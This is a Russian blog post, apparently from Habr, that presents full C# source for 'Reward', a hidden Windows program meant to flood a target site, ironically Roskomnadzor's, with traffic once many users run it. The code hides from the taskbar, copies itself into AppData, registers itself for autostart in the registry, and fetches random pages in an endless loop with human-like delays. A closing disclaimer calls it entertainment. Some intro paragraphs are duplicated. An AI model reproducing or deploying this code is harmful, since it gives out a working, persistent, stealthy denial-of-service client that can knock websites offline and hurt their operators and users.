В один прекрасный день, в поисках недавно вышедшего фильма, я обнаружил, что на всех сайтах раздача удалена по требованию Роскомнадзора, а на Рутрекер его ещё никто не залил.
Немного расстроенный я решил утешиться написанием десктоп-приложения, которое должно помочь каждому пользователю интернета с выразить свою благодарность любимому сайту, например, сайту Роскомнадзора (за то, что он блюдёт законы и защищает нашу безопасность).
Ну а что может быть более приятным, чем массовые посещения твоего сайта?
Что у меня получилось смотрите под катом.
Я решил пойти предельно честным путём — имитировать Хабраэффект (Представляете, сколько радости ждёт кого-то?). Для начала создадим в Visual Studio пустой проект и в настройках проекта укажем его тип: Windows Application.
Наше приложение будет просто подгружать каждые 15-20 секунд случайную страницу с сайта и выбирать из неё ссылку для следующей загрузки. Если, скажем около ста тысяч человек пожелает отблагодарить Роскомнадзор, Хабраэффект неминуем. С мыслями о добром деле приступим к реализации.
Я старался описывать действия программы и поэтому часть статьи находится в комментариях к коду.
Всю основную работу будет выполнять экземпляр класса RandomBrowser с помощью нескольких внешних расширяющих методов класса String:
Так как мы пишем приложение для как можно большего числа пользователей, то собирать его придётся под .NET Framework 4, так как этот вариант гарантированно запустится на большинстве машин с Windows 7, 8, 10. Поэтому для всех операций закачки придётся использовать класс WebClient.
А вот и наши расширяющие класс String методы:
И наконец, завершим создание нашего приложения, я назвал его Reward (награда в виде подобия Хабраэффекта), написанием точки входа:
Итак, у нас получилось незаметное в таскбаре, постоянно висящее в процессах и потребляющее на моем десктопе 3 мб оперативной памяти приложение. Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.
Не зарабатываю на хлеб программированием, это скорее моё хобби под настроение в свободное время.
Жду шквалаунижающей уничтожающей критики, и, если повезёт услышать, советов по доработке.
Эта статья не является призывом идти и благодарить таким способом какие-нибудь сайты, а весь код был написан исключительно для развлечения.
Немного расстроенный я решил утешиться написанием десктоп-приложения, которое должно помочь каждому пользователю интернета с выразить свою благодарность любимому сайту, например, сайту Роскомнадзора (за то, что он блюдёт законы и защищает нашу безопасность).
Ну а что может быть более приятным, чем массовые посещения твоего сайта?
Что у меня получилось смотрите под катом.
Я решил пойти предельно честным путём — имитировать Хабраэффект (Представляете, сколько радости ждёт кого-то?). Для начала создадим в Visual Studio пустой проект и в настройках проекта укажем его тип: Windows Application.
Наше приложение будет просто подгружать каждые 15-20 секунд случайную страницу с сайта и выбирать из неё ссылку для следующей загрузки. Если, скажем около ста тысяч человек пожелает отблагодарить Роскомнадзор, Хабраэффект неминуем. С мыслями о добром деле приступим к реализации.
Я старался описывать действия программы и поэтому часть статьи находится в комментариях к коду.
Всю основную работу будет выполнять экземпляр класса RandomBrowser с помощью нескольких внешних расширяющих методов класса String:
class RandomBrowser
{
private readonly WebClient Downoader = new WebClient();
private readonly Random Randomizer = new Random();
// Имя, стартовая страница
public readonly String DomainName;
public readonly String DomainPage;
// Выбранная ссылка для следующего запроса,
// свойство планируется в будущем использовать для логгирования
public String NextUrl { private set; get; }
// Метод осуществляет закачку страницы по ссылке NextUrl
public void Request()
{
try
{
// Скачиваем страницу и парсим из неё все ссылки
// Тут мы используем расширяющий метод String.GetHtmlLinks
List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName);
// Если есть ссылки, то выбираем случайную для следующего запроса,
// иначе снова выбираем стартовую страницу
NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage;
}
// В случае ошибки парсинга или загрузки страницы
// сбрасываем следующую ссылку до начальной страницы
catch (Exception)
{
NextUrl = DomainPage;
}
}
// Принимаем стартовую страницу
public RandomBrowser(String startPage)
{
// Устанавливаем имя домена и его стартовую страницу
// Тут мы используем расширяющий метод String.GetDomainName
DomainName = startPage?.GetDomainName();
DomainPage = @"http://www." + DomainName;
NextUrl = startPage;
}
}
Так как мы пишем приложение для как можно большего числа пользователей, то собирать его придётся под .NET Framework 4, так как этот вариант гарантированно запустится на большинстве машин с Windows 7, 8, 10. Поэтому для всех операций закачки придётся использовать класс WebClient.
А вот и наши расширяющие класс String методы:
static class Extensions
{
// Порядок префиксов важен
private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." };
// Метод возвращает имя домена из строки
public static String GetDomainName(this String url)
{
foreach (String i in Prefixes)
{
if (url.IndexOf(i) == 0)
{
url = url.Remove(0, i.Length);
}
}
Int32 subdomain = url.IndexOf('/');
return subdomain == -1 ? url : url.Remove(subdomain);
}
// Метод парсит html-страницу в виде строки и возвращает все ссылки
// Принимает строку и доменное имя для фильтрации
public static List<String> GetHtmlLinks(this String page, String domainName = null)
{
// Тут я использую позаимствованную на просторах Хабра регулярку
List<String> result = new List<String>();
Regex reHref = new Regex(@"(?inx)
<a \s [^>]*
href \s* = \s*
(?<q> ['""] )
(?<url> [^""]+ )
\k<q>
[^>]* >");
foreach (Match i in reHref.Matches(page))
{
result.Add(i.Groups["url"].ToString());
}
// Если было установлено доменное имя для фильтрации ссылок, то отсеиваем все лишние
return domainName == null
? result
: new List<String>(result.Where(i => i.GetDomainName() == domainName));
}
}
И наконец, завершим создание нашего приложения, я назвал его Reward (награда в виде подобия Хабраэффекта), написанием точки входа:
class Program
{
static void Main()
{
// Думаю комментировать имена переменных излишне
const String appName = "Reward";
String appDirectory =
$@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}";
const String fileName = appName + ".exe";
String filePath = $@"{appDirectory}\{fileName}";
// Что бы пользователю было удобнее, запишем наше приложение в автозагрузку в реестр
RegistryKey autorun =
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true);
String regValue = autorun.GetValue(appName) as String;
// Если ключ реестра не найден
// или параметром ключа не является строка (из-за действия оператора as)
// или строка не является правильным путем
if (regValue == null || regValue != filePath)
{
// Значит приложение ещё не запускалось
// Выводим приветствие для первого раза:
MessageBox.Show("Теперь вы сможете поддерживать любимый сайт круглосуточно!", "Там-парарам");
// Проверяем существование директории для приложения
if (!File.Exists(filePath))
{
// И создаём её в случае необходимости
if (!Directory.Exists(appDirectory))
{
Directory.CreateDirectory(appDirectory);
}
// Проверяем содержание текущего пути до экземпляра
// в аргументах командной строки,
// если не находим,
// то используем предполагаемый путь по умолчанию.
// Затем, скопируем наше приложение в "AppData/Roaming",
// дабы исполняемый файл на рабочем столе не мозолил глаза
String[] args = Environment.GetCommandLineArgs();
File.Copy(
args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}",
filePath);
}
// Прописываемся в реестре
autorun.SetValue(appName, filePath);
// И запускаем наш новый экземпляр из "AppData/Roaming"
Process.Start(filePath);
// Завершаем работу текущего экземпляра,
// теперь пользователь может его спокойно удалить
return;
}
// Собственно основной цикл работы приложения:
RandomBrowser browser = new RandomBrowser(@"http://www.ПримерСайтаДляБлагодарности.рф");
Random randomizer = new Random();
while (true)
{
// Для того что бы наше приложение вело себя более похожим образом
// на пользователя,
// и "кликало" по ссылкам через разные промежутки времени от 15 секунд,
// добавим элемент случайности
Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10)));
browser.Request();
}
}
}
Итак, у нас получилось незаметное в таскбаре, постоянно висящее в процессах и потребляющее на моем десктопе 3 мб оперативной памяти приложение. Его основные недостатки состоят в том, что для получения ощутимых результатов его должно использовать как можно большее количество людей, сложности распространения, и, возможно, проблемах с UAC.
Не зарабатываю на хлеб программированием, это скорее моё хобби под настроение в свободное время.
Жду шквала
Эта статья не является призывом идти и благодарить таким способом какие-нибудь сайты, а весь код был написан исключительно для развлечения.